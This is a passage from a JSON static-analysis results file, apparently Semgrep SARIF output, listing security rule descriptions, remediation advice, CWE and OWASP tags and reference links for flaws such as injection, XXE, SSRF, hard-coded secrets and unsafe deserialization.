Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.pymongo-flask.pymongo-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/python.flask.db.pymongo-flask.pymongo-flask","id":"python.flask.db.pymongo-flask.pymongo-flask","name":"python.flask.db.pymongo-flask.pymongo-flask","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.pymongo-flask.pymongo-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flags the use of a predictable random value from `scala.util.Random`. This can lead to vulnerabilities when used in security contexts, such as in a CSRF token, password reset token, or any other secret value. To fix this, use java.security.SecureRandom instead."},"help":{"markdown":"Flags the use of a predictable random value from `scala.util.Random`. This can lead to vulnerabilities when used in security contexts, such as in a CSRF token, password reset token, or any other secret value. To fix this, use java.security.SecureRandom instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.insecure-random.insecure-random)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Flags the use of a predictable random value from `scala.util.Random`. This can lead to vulnerabilities when used in security contexts, such as in a CSRF token, password reset token, or any other secret value. To fix this, use java.security.SecureRandom instead."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.insecure-random.insecure-random","id":"scala.lang.security.audit.insecure-random.insecure-random","name":"scala.lang.security.audit.insecure-random.insecure-random","properties":{"precision":"very-high","tags":["CWE-330: Use of Insufficiently Random Values","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.insecure-random.insecure-random"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml)\n - [https://ktor.io/docs/development-mode.html#application-conf](https://ktor.io/docs/development-mode.html#application-conf)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml","id":"kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml","name":"kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'Fprintf' or similar writing to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"help":{"markdown":"Detected 'Fprintf' or similar writing to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected 'Fprintf' or similar writing to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter","id":"go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter","name":"go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret","id":"swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret","name":"swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongodb-where-express.mongodb-where-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)\n - [https://portswigger.net/web-security/nosql-injection](https://portswigger.net/web-security/nosql-injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongodb-where-express.mongodb-where-express","id":"javascript.express.db.mongodb-where-express.mongodb-where-express","name":"javascript.express.db.mongodb-where-express.mongodb-where-express","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongodb-where-express.mongodb-where-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib","id":"python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib","name":"python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`Clean` is not intended to sanitize against path traversal attacks. This function is for finding the shortest path name equivalent to the given input. Using `Clean` to sanitize file reads may expose this application to path traversal attacks, where an attacker could access arbitrary files on the server. To fix this easily, write this: `filepath.FromSlash(path.Clean(\"/\"+strings.Trim(req.URL.Path, \"/\")))` However, a better solution is using the `SecureJoin` function in the package `filepath-securejoin`. See https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme."},"help":{"markdown":"`Clean` is not intended to sanitize against path traversal attacks. This function is for finding the shortest path name equivalent to the given input. Using `Clean` to sanitize file reads may expose this application to path traversal attacks, where an attacker could access arbitrary files on the server. To fix this easily, write this: `filepath.FromSlash(path.Clean(\"/\"+strings.Trim(req.URL.Path, \"/\")))` However, a better solution is using the `SecureJoin` function in the package `filepath-securejoin`. See https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.filepath-clean-misuse.filepath-clean-misuse)\n - [https://pkg.go.dev/path#Clean](https://pkg.go.dev/path#Clean)\n - [http://technosophos.com/2016/03/31/go-quickly-cleaning-filepaths.html](http://technosophos.com/2016/03/31/go-quickly-cleaning-filepaths.html)\n - [https://labs.detectify.com/2021/12/15/zero-day-path-traversal-grafana/](https://labs.detectify.com/2021/12/15/zero-day-path-traversal-grafana/)\n - [https://dzx.cz/2021/04/02/go_path_traversal/](https://dzx.cz/2021/04/02/go_path_traversal/)\n - [https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme](https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme)\n","text":"`Clean` is not intended to sanitize against path traversal attacks. This function is for finding the shortest path name equivalent to the given input. Using `Clean` to sanitize file reads may expose this application to path traversal attacks, where an attacker could access arbitrary files on the server. To fix this easily, write this: `filepath.FromSlash(path.Clean(\"/\"+strings.Trim(req.URL.Path, \"/\")))` However, a better solution is using the `SecureJoin` function in the package `filepath-securejoin`. See https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme."},"helpUri":"https://semgrep.dev/r/go.lang.security.filepath-clean-misuse.filepath-clean-misuse","id":"go.lang.security.filepath-clean-misuse.filepath-clean-misuse","name":"go.lang.security.filepath-clean-misuse.filepath-clean-misuse","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.filepath-clean-misuse.filepath-clean-misuse"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude","id":"cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude","name":"cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.redis.python-redis-empty-password.python-redis-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.redis.python-redis-empty-password.python-redis-empty-password","id":"python.redis.python-redis-empty-password.python-redis-empty-password","name":"python.redis.python-redis-empty-password.python-redis-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.redis.python-redis-empty-password.python-redis-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Mass assignment detected. This can result in assignment to model fields that are unintended and can be exploited by an attacker. Instead of using '**request.$W', assign each field you want to edit individually to prevent mass assignment. You can read more about mass assignment at https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html."},"help":{"markdown":"Mass assignment detected. This can result in assignment to model fields that are unintended and can be exploited by an attacker. Instead of using '**request.$W', assign each field you want to edit individually to prevent mass assignment. You can read more about mass assignment at https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.mass-assignment.mass-assignment)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n","text":"Mass assignment detected. This can result in assignment to model fields that are unintended and can be exploited by an attacker. Instead of using '**request.$W', assign each field you want to edit individually to prevent mass assignment. You can read more about mass assignment at https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.mass-assignment.mass-assignment","id":"python.django.security.injection.mass-assignment.mass-assignment","name":"python.django.security.injection.mass-assignment.mass-assignment","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.mass-assignment.mass-assignment"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"help":{"markdown":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.ssrf-requests.ssrf-requests)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.ssrf-requests.ssrf-requests","id":"python.flask.security.injection.ssrf-requests.ssrf-requests","name":"python.flask.security.injection.ssrf-requests.ssrf-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.ssrf-requests.ssrf-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"IAM policies that allow full \"*-*\" admin privileges violates the principle of least privilege. This allows an attacker to take full control over all AWS account resources. Instead, give each user more fine-grained control with only the privileges they need. $TYPE"},"help":{"markdown":"IAM policies that allow full \"*-*\" admin privileges violates the principle of least privilege. This allows an attacker to take full control over all AWS account resources. Instead, give each user more fine-grained control with only the privileges they need. $TYPE\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges)\n - [https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/data/aws/AdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/data/aws/AdminPolicyDocument.py)\n","text":"IAM policies that allow full \"*-*\" admin privileges violates the principle of least privilege. This allows an attacker to take full control over all AWS account resources. Instead, give each user more fine-grained control with only the privileges they need. $TYPE"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges","id":"terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges","name":"terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The `$SOURCE` function returns NULL on error and this line dereferences the return value without checking for NULL."},"help":{"markdown":"The `$SOURCE` function returns NULL on error and this line dereferences the return value without checking for NULL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.null-deref.null-library-function.null-library-function)\n - [https://wiki.sei.cmu.edu/confluence/display/c/EXP34-C.+Do+not+dereference+null+pointers](https://wiki.sei.cmu.edu/confluence/display/c/EXP34-C.+Do+not+dereference+null+pointers)\n","text":"The `$SOURCE` function returns NULL on error and this line dereferences the return value without checking for NULL."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.null-deref.null-library-function.null-library-function","id":"cpp.lang.security.memory.null-deref.null-library-function.null-library-function","name":"cpp.lang.security.memory.null-deref.null-library-function.null-library-function","properties":{"precision":"very-high","tags":["CWE-476: NULL Pointer Dereference","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.null-deref.null-library-function.null-library-function"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool","id":"kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool","name":"kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TypeNameHandling $TYPEHANDLER is unsafe and can lead to arbitrary code execution in the context of the process. Use a custom SerializationBinder whenever using a setting other than TypeNameHandling.None."},"help":{"markdown":"TypeNameHandling $TYPEHANDLER is unsafe and can lead to arbitrary code execution in the context of the process. Use a custom SerializationBinder whenever using a setting other than TypeNameHandling.None.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization)\n - [https://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_TypeNameHandling.htm#remarks](https://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_TypeNameHandling.htm#remarks)\n","text":"TypeNameHandling $TYPEHANDLER is unsafe and can lead to arbitrary code execution in the context of the process. Use a custom SerializationBinder whenever using a setting other than TypeNameHandling.None."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization","id":"csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization","name":"csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module 